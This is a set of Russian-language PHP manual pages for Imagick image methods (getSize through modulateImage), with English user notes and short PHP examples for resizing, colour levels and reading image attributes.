Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get/Display Resource Values
        // ---------------------------------------------

    print("Undefined: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_UNDEFINED));

    print("<br><br>Area: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_AREA));

    print("<br><br>Disk: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_DISK));

    print("<br><br>File: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_FILE));

    print("<br><br>Map: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_MAP));

    print("<br><br>Memory: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_MEMORY));

?>


Возвращает горизонтальный и вертикальный фактор выборки

  • « Imagick::getResourceLimit
  • Imagick::getSize »
  • PHP Manual
  • Imagick
  • Возвращает горизонтальный и вертикальный фактор выборки

Imagick::getSamplingFactors

(PECL imagick 2, PECL imagick 3)

Imagick::getSamplingFactors — Возвращает горизонтальный и вертикальный фактор выборки

Описание

public Imagick::getSamplingFactors(): array

Возвращает горизонтальный и вертикальный фактор выборки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ассоциативный массив с горизонтальным и вертикальным фактором выборки изображения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает размер, связанный с объектом Imagick

  • « Imagick::getSamplingFactors
  • Imagick::getSizeOffset »
  • PHP Manual
  • Imagick
  • Возвращает размер, связанный с объектом Imagick

Imagick::getSize

(PECL imagick 2, PECL imagick 3)

Imagick::getSize — Возвращает размер, связанный с объектом Imagick

Описание

public Imagick::getSize(): array

Получает размер в пикселях объекта Imagick, предварительно заданный с помощью функции Imagick::setSize().

Замечание:

Этот метод всего лишь возвращает размер, установленный Imagick::setSize(). Если вам необходимо получить реальные размеры изображения, используйте функции Imagick::getImageWidth() и Imagick::getImageHeight().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает размер, связанный с объектом Imagick в виде массива с ключами "columns" (столбцы) и "rows" (строки).

Примеры

Пример #1 Получение размера исходного изображения RGB, установленные в 200x400, после масштабирования до 400x800

<?php
//Устанавливаем размер и загружаем изображение
$img = new Imagick();
$img->setSize(200, 400);
$img->readImage("image.rgb");

$img->scaleImage(400, 800);

$size = $img->getSize();
print_r($size);

echo $img->getImageWidth()."x".$img->getImageHeight();
?>

Результат выполнения данного примера:

Array
(
    [columns] => 200
    [rows] => 400
)
400x800

User Contributed Notes

There are no user contributed notes for this page.


Возвращает размер смещения

  • « Imagick::getSize
  • Imagick::getVersion »
  • PHP Manual
  • Imagick
  • Возвращает размер смещения

Imagick::getSizeOffset

(PECL imagick 2, PECL imagick 3)

Imagick::getSizeOffset — Возвращает размер смещения

Описание

public Imagick::getSizeOffset(): int

Возвращает размер смещения, связанный с объектом Imagick. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает размер смещения, связанный с объектом Imagick.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версию API ImageMagick

  • « Imagick::getSizeOffset
  • Imagick::haldClutImage »
  • PHP Manual
  • Imagick
  • Возвращает версию API ImageMagick

Imagick::getVersion

(PECL imagick 2, PECL imagick 3)

Imagick::getVersion — Возвращает версию API ImageMagick

Описание

public static Imagick::getVersion(): array

Возвращает версию API ImageMagick как строку и число.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает версию API ImageMagick как строку и число.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

pasel at blueend dot com 27-Nov-2013 01:18
You may check your version like this:

<?php
$v = Imagick::getVersion();
preg_match('/ImageMagick ([0-9]+\.[0-9]+\.[0-9]+)/', $v['versionString'], $v);
if(version_compare($v[1],'6.2.8')<=0){
   print "Your ImageMagick Version {$v[1]} is '6.2.8' or older, please upgrade!";
}
?>
holdoffhunger at gmail dot com 08-May-2012 11:37
The getVersion function for the ImageMagick class returns an array, with two values, one linked to the key value of 'versionNumber' and another linked to the key value of 'versionString'.  The version number provides a simple integer, while the string provides the actual x.y.z version number, the release date, and the URL for the ImageMagick site.

Today (May 8, 2012), when calling this function, the results are...

Number: 1654
String: ImageMagick 6.7.6-8 2012-05-02 Q16 http://www.imagemagick.org

Last month (around April 15, 2012), when calling this function, the results were...

Number: 1654
String: ImageMagick 6.7.6-1 2012-04-09 Q16 http://www.imagemagick.org

So, I'm not sure why the "Number" value has not changed, but the "String" value is definitely responding to changes in time.

The code for producing these results:

<?php

        // Author: holdoffhunger@gmail.com

    $imagick_version = Imagick::getVersion();

    $imagick_version_number = $imagick_version['versionNumber'];
    $imagick_version_string = $imagick_version['versionString'];

    print("Number: $imagick_version_number");

    print("<br>");

    print("String: $imagick_version_string");

?>
mwu at digitaltorque dot com 22-Feb-2011 11:40
Since it's not clear from the documention what this function returns:

print_r(imagick::getVersion());

Array
(
    [versionNumber] => 1632
    [versionString] => ImageMagick 6.6.0-4 2010-11-16 Q16 http://www.imagemagick.org
)


Заменяет цвета в изображении

  • « Imagick::getVersion
  • Imagick::hasNextImage »
  • PHP Manual
  • Imagick
  • Заменяет цвета в изображении

Imagick::haldClutImage

(PECL imagick 3)

Imagick::haldClutImage — Заменяет цвета в изображении

Описание

public Imagick::haldClutImage(Imagick $clut, int $channel = Imagick::CHANNEL_DEFAULT): bool

Заменяет цвета в изображении с помощью таблицы поиска Hald. Hald-изображения могут быть созданы с использованием цветового кодера HALD.

Список параметров

clut

Объект Imagick, содержащий поисковое Hald-изображение.

channel

Передайте любую корректную для вашего режима канала константу. Для применения к более чем одному каналу, комбинируйте константы каналов с помощью побитовых операторов. По умолчанию равно Imagick::CHANNEL_DEFAULT. Обратитесь к списку констант каналов

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::haldClutImage()

<?php
function haldClutImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagickPalette = new \Imagick(realpath("images/hald/hald_8.png"));
$imagickPalette->sepiatoneImage(55);
$imagick->haldClutImage($imagickPalette);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, содержит ли объект больше изображений

  • « Imagick::haldClutImage
  • Imagick::hasPreviousImage »
  • PHP Manual
  • Imagick
  • Проверяет, содержит ли объект больше изображений

Imagick::hasNextImage

(PECL imagick 2, PECL imagick 3)

Imagick::hasNextImage — Проверяет, содержит ли объект больше изображений

Описание

public Imagick::hasNextImage(): bool

Возвращает true, если объект содержит больше изображений при перемещении вперёд по списку.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если объект содержит больше изображений при перемещении вперёд по списку, возвращает false, если изображений нет.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, есть ли у объекта предыдущее изображение

  • « Imagick::hasNextImage
  • Imagick::identifyFormat »
  • PHP Manual
  • Imagick
  • Проверяет, есть ли у объекта предыдущее изображение

Imagick::hasPreviousImage

(PECL imagick 2, PECL imagick 3)

Imagick::hasPreviousImage — Проверяет, есть ли у объекта предыдущее изображение

Описание

public Imagick::hasPreviousImage(): bool

Возвращает true, если объект содержит больше изображений при перемещении по списку в обратном направлении.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если объект содержит больше изображений при перемещении по списку в обратном направлении, возвращает false, если изображений нет.

User Contributed Notes

There are no user contributed notes for this page.


Заменяет любые встроенные символы форматирования соответствующим свойством изображения

  • « Imagick::hasPreviousImage
  • Imagick::identifyImage »
  • PHP Manual
  • Imagick
  • Заменяет любые встроенные символы форматирования соответствующим свойством изображения

Imagick::identifyFormat

(PECL imagick 3 >= 3.3.0)

Imagick::identifyFormat — Заменяет любые встроенные символы форматирования соответствующим свойством изображения

Описание

public Imagick::identifyFormat(string $embedText): string|false

Заменяет любые встроенные символы форматирования соответствующим свойством изображения и возвращает интерпретированный текст. Посмотрите http://www.imagemagick.org/script/escape.php, чтобы узнать про последовательности экранирования.

Список параметров

embedText

Строка, содержащая последовательности форматирования, например, "Поле обрезки: %@ количество уникальных цветов: %k".

Возвращаемые значения

Возвращает формат или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::identifyFormat()

<?php
$output = "Вывод 'Поле обрезки: %@ количество уникальных цветов: %k': <br/>";
$imagick = new \Imagick(realpath("./images/artifact/mask.png"));
$output .= $imagick->identifyFormat("Поле обрезки: %@ количество уникальных цветов: %k");

?>

User Contributed Notes

There are no user contributed notes for this page.


Определяет изображение и получает атрибуты

  • « Imagick::identifyFormat
  • Imagick::implodeImage »
  • PHP Manual
  • Imagick
  • Определяет изображение и получает атрибуты

Imagick::identifyImage

(PECL imagick 2, PECL imagick 3)

Imagick::identifyImage — Определяет изображение и получает атрибуты

Описание

public Imagick::identifyImage(bool $appendRawOutput = false): array

Определяет изображение и возвращает его атрибуты в виде массива. Атрибуты изображения включают в себя ширину, высоту, размер и прочие.

Список параметров

appendRawOutput

Если true, то в массив будет включён необработанный вывод.

Возвращаемые значения

Возвращает массив атрибутов. Атрибуты изображения включают в себя ширину, высоту, размер и прочие.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Пример #1 Пример результата

Array
(
    [imageName] => /some/path/image.jpg
    [format] => JPEG (Joint Photographic Experts Group JFIF format)
    [geometry] => Array
        (
            [width] => 90
            [height] => 90
        )

    [type] => TrueColor
    [colorSpace] => RGB
    [resolution] => Array
        (
            [x] => 300
            [y] => 300
        )

    [units] => PixelsPerInch
    [fileSize] => 1.88672kb
    [compression] => JPEG
    [signature] => 9a6dc8f604f97d0d691c0286176ddf992e188f0bebba98494b2146ee2d7118da
)

User Contributed Notes

rhuanpachecok at gmail dot com 23-May-2020 03:41
I have created a function to parse the "rawOutput" because the information provided by this function is quite useless.

function parseIdentify($info) {
    $lines = explode("\n", $info);

    $outputs = [];
    $output = [];
    $keys = [];

    $currSpaces = 0;
    $raw = false;

    foreach($lines as $line) {
        $trimLine = trim($line);

        if(empty($trimLine)) continue;

        if($raw) {
            preg_match('/^[0-9]+:\s/', $trimLine, $match);

            if(!empty($match)) {
                $regex = '/([\d]+):';
                $regex .= '\s(\([\d|\s]{1,3},[\d|\s]{1,3},[\d|\s]{1,3},[\d|\s]{1,3}\))';
                $regex .= '\s(#\w+)';
                $regex .= '\s(srgba\([\d|\s]{1,3},[\d|\s]{1,3},[\d|\s]{1,3},[\d|\s|.]+\)|\w+)/';

                preg_match($regex, $trimLine, $matches);
                array_shift($matches);

                $output['Image'][$raw][] = $matches;

                continue;
            }

            else {
                $raw = false;
                array_pop($keys);
            }
        }

        preg_match('/^\s+/', $line, $match);

        $spaces = isset($match[0]) ? strlen($match[0]) : $spaces = 0;
        $parts = preg_split('/:\s/', $trimLine, 2);

        $_key = ucwords($parts[0]);
        $_key = str_replace(' ', '', $_key);
        $_val = isset($parts[1]) ? $parts[1] : [];

        if($_key == 'Image') {
            if(!empty($output)) {
                $outputs[] = $output['Image'];
                $output = [];
            }

            $_val = [];
        }

        if($spaces < $currSpaces) {
            for($i = 0; $i < ($currSpaces - $spaces) / 2; $i++) {
                array_pop($keys);
            }
        }

        if(is_array($_val)) {
            $_key = rtrim($_key, ':');
            $keys[] = $_key;

            if($_key == 'Histogram' || $_key == 'Colormap') {
                $raw = $_key;
            }
        }

        $currSpaces = $spaces;
        $arr = &$output;

        foreach($keys as $key) {
            if(!isset($arr[$key])) {
                $arr[$key] = $_val;
            }

            $arr = &$arr[$key];
        }

        if(!is_array($_val)) {
            $arr[$_key] = $_val;
        }

    }

    $outputs[] = $output['Image'];

    return count($outputs) > 1 ? $outputs : $outputs[0];
}

Usage example:

$img = new Imagick('example.png');
$identify = parseIdentify($img->identifyImage(true)['rawOutput']);

But the "rawOutput" that this function returns only contains the first frame if it is a GIF. Alternatively you can use the command "identify" to get the data of all the frames:

$identify = parseIdentify(shell_exec('identify -verbose example.gif'));
php at ontheroad dot net dot nz 22-Nov-2010 08:04
If you use the option to append the raw output, you can extract the mime type from there.  I'm not sure what's going on in the background here, but it seems far less useful than the command line identify tool.
rob at OhReally dot nl 04-Jun-2008 06:49
The array returned by Imagick::identifyImage():

Array
(
    [imageName] => /some/path/image.jpg
    [format] => JPEG (Joint Photographic Experts Group JFIF format)
    [geometry] => Array
        (
            [width] => 90
            [height] => 90
        )

    [type] => TrueColor
    [colorSpace] => RGB
    [resolution] => Array
        (
            [x] => 300
            [y] => 300
        )

    [units] => PixelsPerInch
    [fileSize] => 1.88672kb
    [compression] => JPEG
    [signature] => 9a6dc8f604f97d0d691c0286176ddf992e188f0bebba98494b2146ee2d7118da
)

Looks like the only way to get the mimetype is getimagesize()...


Создаёт копию изображения

  • « Imagick::identifyImage
  • Imagick::importImagePixels »
  • PHP Manual
  • Imagick
  • Создаёт копию изображения

Imagick::implodeImage

(PECL imagick 2, PECL imagick 3)

Imagick::implodeImage — Создаёт копию изображения

Описание

public Imagick::implodeImage(float $radius): bool

Создаёт новое изображение, которое является копией существующего с пикселями, "сжатыми" на указанный процент.

Список параметров

radius

Радиус сжатия.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::implodeImage()

<?php
function implodeImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->implodeImage(0.0001);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();

}

?>

User Contributed Notes

There are no user contributed notes for this page.


Импортирует пиксели изображения

  • « Imagick::implodeImage
  • Imagick::inverseFourierTransformImage »
  • PHP Manual
  • Imagick
  • Импортирует пиксели изображения

Imagick::importImagePixels

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::importImagePixels — Импортирует пиксели изображения

Описание

public Imagick::importImagePixels(
int $x,
int $y,
int $width,
int $height,
string $map,
int $storage,
array $pixels
): bool

Импортирует пиксели из массива в изображение. map обычно "RGB". Этот метод накладывает следующие ограничения на параметры: количество пикселей в массиве должно соответствовать width x height количеству пикселей. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.4.5 или старше.

Список параметров

x

Положение изображения по оси X.

y

Положение изображения по оси Y.

width

Ширина изображения.

height

Высота изображения.

map

Карта упорядочения пикселей в виде строки. Это может быть, например, RGB.
Значение может быть любой комбинацией или порядком: R = красный, G = зелёный, B = синий, A = альфа (0 - прозрачный),
O = непрозрачный (0 - непрозрачный), C = голубой, Y = жёлтый, M = пурпурный,
K = чёрный, I = интенсивность (для оттенков серого), P = заполнитель.

storage

Метод хранения пикселей. Смотрите список констант пикселей.

pixels

Массив пикселей.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::importImagePixels()

<?php

/* Создание массива пикселей. 2000 пикселей на цветную полосу */
$count = 2000 * 3;

$pixels =
array_merge(array_pad(array(), $count, 0),
array_pad(array(), $count, 255),
array_pad(array(), $count, 0),
array_pad(array(), $count, 255),
array_pad(array(), $count, 0));

/* Ширина и высота. Площадь - это количество пикселей, разделённое на три.
Три происходит от "RGB", три значения на пиксель. */
$width = $height = pow((count($pixels) / 3), 0.5);

/* Создание пустого изображения */
$im = new Imagick();
$im->newImage($width, $height, 'gray');

/* Импорт пикселей в изображение.
width * height * strlen("RGB") должно соответствовать count($pixels) */
$im->importImagePixels(0, 0, $width, $height, "RGB", Imagick::PIXEL_CHAR, $pixels);

/* Вывод изображения */
$im->setImageFormat('jpg');
header("Content-Type: image/jpg");
echo $im;

?>

Результатом выполнения данного примера будет что-то подобное:

Пример использования Imagick::importImagePixels()

User Contributed Notes

There are no user contributed notes for this page.


Реализует дискретное преобразование Фурье

  • « Imagick::importImagePixels
  • Imagick::labelImage »
  • PHP Manual
  • Imagick
  • Реализует дискретное преобразование Фурье

Imagick::inverseFourierTransformImage

(PECL imagick 3 >= 3.3.0)

Imagick::inverseFourierTransformImage — Реализует дискретное преобразование Фурье

Описание

public Imagick::inverseFourierTransformImage(Imagick $complement, bool $magnitude): bool

Реализует дискретное преобразование Фурье (ДПФ) изображения в виде пары величина / фаза или пары, состоящей из реального / мнимого изображений.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

complement

Второе изображение, которое нужно объединить с данным, чтобы сформировать либо пару величина / фаза, либо пару из реального / мнимого изображений.

magnitude

Если значение равно true, будет возвращена пара величина / фаза, иначе - пара, состоящая из реального / мнимого изображений.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет метку к изображению

  • « Imagick::inverseFourierTransformImage
  • Imagick::levelImage »
  • PHP Manual
  • Imagick
  • Добавляет метку к изображению

Imagick::labelImage

(PECL imagick 2, PECL imagick 3)

Imagick::labelImage — Добавляет метку к изображению

Описание

public Imagick::labelImage(string $label): bool

Добавляет метку к изображению.

Список параметров

label

Добавляемая метка.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Регулирует уровни изображения

  • « Imagick::labelImage
  • Imagick::linearStretchImage »
  • PHP Manual
  • Imagick
  • Регулирует уровни изображения

Imagick::levelImage

(PECL imagick 2, PECL imagick 3)

Imagick::levelImage — Регулирует уровни изображения

Описание

public Imagick::levelImage(
float $blackPoint,
float $gamma,
float $whitePoint,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Регулирует уровни изображения, масштабируя цвета, попадающие между указанными белыми и чёрными точками, до полного доступного квантового диапазона. Предоставленные параметры представляют собой чёрные, средние и белые точки. Чёрная точка определяет самый тёмный цвет изображения. Цвета темнее точки чёрного устанавливаются на ноль. Средняя точка определяет гамма-коррекцию, применяемую к изображению. Белая точка определяет самый светлый цвет изображения. Для цветов ярче точки белого устанавливается максимальное квантовое значение.

Список параметров

blackPoint

Чёрная точка изображения.

gamma

Значение гаммы.

whitePoint

Белая точка изображения.

channel

Укажите любую константу канала, которая соответствует вашему режиму канала. Чтобы применить более чем к одному каналу, объедините константы типа канала с помощью побитовых операторов. Обратитесь к этому списку констант канала.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::levelImage()

<?php
function levelImage($blackPoint, $gamma, $whitePoint) {
$imagick = new \Imagick();
$imagick->newPseudoimage(500, 500, 'gradient:black-white');

$imagick->setFormat('png');
$quantum = $imagick->getQuantum();
$imagick->levelImage($blackPoint / 100 , $gamma, $quantum * $whitePoint / 100);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Maxim Lovchikov 28-Dec-2010 12:18
I have a trouble with this method because think that quantum range is 0 - 255.
But quantum range for levelImage is 0-65535. You can get quantum range with Imagick::getQuantumRange
There is a right piece of code

$img->levelImage (0, 1.0, 65535);


Растягивает с насыщением яркость изображения

  • « Imagick::levelImage
  • Imagick::liquidRescaleImage »
  • PHP Manual
  • Imagick
  • Растягивает с насыщением яркость изображения

Imagick::linearStretchImage

(PECL imagick 2, PECL imagick 3)

Imagick::linearStretchImage — Растягивает с насыщением яркость изображения

Описание

public Imagick::linearStretchImage(float $blackPoint, float $whitePoint): bool

Растягивает с насыщением яркость изображения.

Список параметров

blackPoint

Чёрная точка изображения

whitePoint

Белая точка изображения

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::linearStretchImage()

<?php
function linearStretchImage($imagePath, $blackThreshold, $whiteThreshold) {
$imagick = new \Imagick(realpath($imagePath));
$pixels = $imagick->getImageWidth() * $imagick->getImageHeight();
$imagick->linearStretchImage($blackThreshold * $pixels, $whiteThreshold * $pixels);

header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

SkepticaLee 11-Jun-2014 12:54
"Black" and "white" points here are pixel counts from the darkest and brightest ends respectively. To turn the darkest 90% of the pixels black, and the brightest 5% white, use the following:

<?php
$im = new Imagick ("some image.png");
list ($width, $height) = array_values ($im->getImageGeometry ());
$px = $width * $height;
$im->modulateImage (100, 0, 100);
$im->linearStretchImage ($px * 0.9, $px * 0.05);
$im->writeImage ("temp.jpg");
?>


Анимирует изображение или изображения

  • « Imagick::linearStretchImage
  • Imagick::listRegistry »
  • PHP Manual
  • Imagick
  • Анимирует изображение или изображения

Imagick::liquidRescaleImage

(PECL imagick 2 >= 2.2.0, PECL imagick 3)

Imagick::liquidRescaleImage — Анимирует изображение или изображения

Описание

public Imagick::liquidRescaleImage(
int $width,
int $height,
float $delta_x,
float $rigidity
): bool

Масштабирует изображения с использованием метода liquid rescaling. Он представляет собой реализацию техники seam carving. Чтобы метод работал должным образом, ImageMagick должен быть скомпилирован с поддержкой liblqr. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.9 или старше.

Список параметров

width

Ширина целевого размера.

height

Высота целевого размера.

delta_x

Определяет, сколько шов может проходить по оси x. При передаче значения 0 швы становятся прямыми.

rigidity

Вводит уклон для непрямых швов. Этот параметр обычно равен 0.

Возвращаемые значения

В случае успешной работы возвращает true.

Смотрите также

  • Imagick::resizeImage() - Масштабирует изображение

User Contributed Notes

spider at man dot net 20-Nov-2011 11:00
<?php

    /* Create new object */
    $im = new Imagick( 'test.jpg' );

    /* Scale down */
    $im->liquidRescaleImage( 500, 200, 3, 25 );

    /* Display */
    header( 'Content-Type: image/jpg' );
    echo $im;

    ?>


Перечисляет все настройки реестра

  • « Imagick::liquidRescaleImage
  • Imagick::magnifyImage »
  • PHP Manual
  • Imagick
  • Перечисляет все настройки реестра

Imagick::listRegistry

(PECL imagick 3 >= 3.3.0)

Imagick::listRegistry — Перечисляет все настройки реестра

Описание

public static Imagick::listRegistry(): array

Перечисляет все настройки реестра. Возвращает массив всех пар ключ/значение в реестре.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив, содержащий ключи и значения реестра.

User Contributed Notes

There are no user contributed notes for this page.


Пропорционально масштабирует изображение в два раза

  • « Imagick::listRegistry
  • Imagick::mapImage »
  • PHP Manual
  • Imagick
  • Пропорционально масштабирует изображение в два раза

Imagick::magnifyImage

(PECL imagick 2, PECL imagick 3)

Imagick::magnifyImage — Пропорционально масштабирует изображение в два раза

Описание

public Imagick::magnifyImage(): bool

Масштабирует изображение в два раза пропорционально оригинальному размеру.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::magnifyImage()

<?php
function magnifyImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->magnifyImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Заменяет цвета изображения на ближайший цвет из эталонного изображения

  • « Imagick::magnifyImage
  • Imagick::matteFloodfillImage »
  • PHP Manual
  • Imagick
  • Заменяет цвета изображения на ближайший цвет из эталонного изображения

Imagick::mapImage

(PECL imagick 2, PECL imagick 3)

Imagick::mapImage — Заменяет цвета изображения на ближайший цвет из эталонного изображения

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::mapImage(Imagick $map, bool $dither): bool

Список параметров

map

dither

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Изменяет значение прозрачности цвета

  • « Imagick::mapImage
  • Imagick::medianFilterImage »
  • PHP Manual
  • Imagick
  • Изменяет значение прозрачности цвета

Imagick::matteFloodfillImage

(PECL imagick 2, PECL imagick 3)

Imagick::matteFloodfillImage — Изменяет значение прозрачности цвета

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::matteFloodfillImage(
float $alpha,
float $fuzz,
mixed $bordercolor,
int $x,
int $y
): bool

Изменяет значение прозрачности любого пикселя, который соответствует цели и является ближайшим соседом. Если указан метод FillToBorderMethod, значение прозрачности изменяется для любого соседнего пикселя, который не соответствует элементу bordercolor изображения.

Список параметров

alpha

Уровень прозрачности: 1.0 - полностью непрозрачный, а 0.0 - полностью прозрачный.

fuzz

Элемент fuzz изображения определяет, насколько допустимо считать два цвета одинаковыми.

bordercolor

Объект ImagickPixel или строка, представляющая цвет рамки.

x

Начальная координата X операции.

y

Начальная координата Y операции.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Теперь позволяет строку, представляющую цвет, в качестве третьего параметра. Предыдущие версии допускали только объект ImagickPixel.

User Contributed Notes

There are no user contributed notes for this page.


Применяет цифровой фильтр

  • « Imagick::matteFloodfillImage
  • Imagick::mergeImageLayers »
  • PHP Manual
  • Imagick
  • Применяет цифровой фильтр

Imagick::medianFilterImage

(PECL imagick 2, PECL imagick 3)

Imagick::medianFilterImage — Применяет цифровой фильтр

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::medianFilterImage(float $radius): bool

Применяет цифровой фильтр, улучшающий качество изображения с шумом. Каждый пиксель заменяется медианой в наборе соседних пикселей, определяемых радиусом.

Список параметров

radius

Радиус соседних пикселей.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::medianFilterImage()

<?php
function medianFilterImage($radius, $imagePath) {
$imagick = new \Imagick(realpath($imagePath));
@$imagick->medianFilterImage($radius);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Объединяет слои изображения

  • « Imagick::medianFilterImage
  • Imagick::minifyImage »
  • PHP Manual
  • Imagick
  • Объединяет слои изображения

Imagick::mergeImageLayers

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::mergeImageLayers — Объединяет слои изображения

Описание

public Imagick::mergeImageLayers(int $layer_method): Imagick

Объединяет слои изображения в один. Метод полезен при работе с форматами изображений, в которых используется несколько слоёв, например PSD. Объединение контролируется с помощью layer_method, который определяет способ объединения слоёв. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.7 или старше.

Список параметров

layer_method

Одна из констант Imagick::LAYERMETHOD_*.

Возвращаемые значения

Возвращает объект Imagick, содержащий объединённое изображение.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::mergeImageLayers()

<?php
function mergeImageLayers($layerMethodType, $imagePath1, $imagePath2) {

$imagick = new \Imagick(realpath($imagePath));

$imagick2 = new \Imagick(realpath($imagePath2));
$imagick->addImage($imagick2);
$imagick->setImageFormat('png');

$result = $imagick->mergeImageLayers($layerMethodType);
header("Content-Type: image/png");
echo $result->getImageBlob();
}

?>

Смотрите также

  • Imagick::flattenImages() - Объединяет последовательность изображений

User Contributed Notes

There are no user contributed notes for this page.


Масштабирует изображение пропорционально половине его размера

  • « Imagick::mergeImageLayers
  • Imagick::modulateImage »
  • PHP Manual
  • Imagick
  • Масштабирует изображение пропорционально половине его размера

Imagick::minifyImage

(PECL imagick 2, PECL imagick 3)

Imagick::minifyImage — Масштабирует изображение пропорционально половине его размера

Описание

public Imagick::minifyImage(): bool

Удобный метод масштабирования изображения пропорционально половине его исходного размера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Управляйте яркостью, насыщенностью и оттенком

  • « Imagick::minifyImage
  • Imagick::montageImage »
  • PHP Manual
  • Imagick
  • Управляйте яркостью, насыщенностью и оттенком

Imagick::modulateImage

(PECL imagick 2, PECL imagick 3)

Imagick::modulateImage — Управляйте яркостью, насыщенностью и оттенком

Описание

public Imagick::modulateImage(float $brightness, float $saturation, float $hue): bool

Позволяет управлять яркостью, насыщенностью и оттенком изображения. Оттенок - это процент абсолютного поворота от текущей позиции. Например, 50 приводит к повороту против часовой стрелки на 90 градусов, а 150 - к повороту по часовой стрелке на 90 градусов, 0 и 200 - оба приводят к повороту на 180 градусов.

Список параметров

brightness

saturation

hue

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::modulateImage()

<?php
function modulateImage($imagePath, $hue, $brightness, $saturation) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->modulateImage($brightness, $saturation, $hue);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Anonymous 30-Nov-2008 03:36
Here's a example of this function:

<?php
  $img = new Imagick();
  $img->readImage($image_file_name);
  // leave hue at 100%, drop saturation by 100%, leave brightness at 100%
  $img->modulateImage(100, 0, 100);
  $img->writeImage($thumb_file_name);
  $img->clear();
  $img->destroy();
?>


Создаёт составное изображение

  • « Imagick::modulateImage
  • Imagick::morphImages »
  • PHP Manual
  • Imagick
  • Создаёт составное изображение

Imagick::montageImage

(PECL imagick 2, PECL imagick 3)

Imagick::montageImage — Создаёт составное изображение

Описание

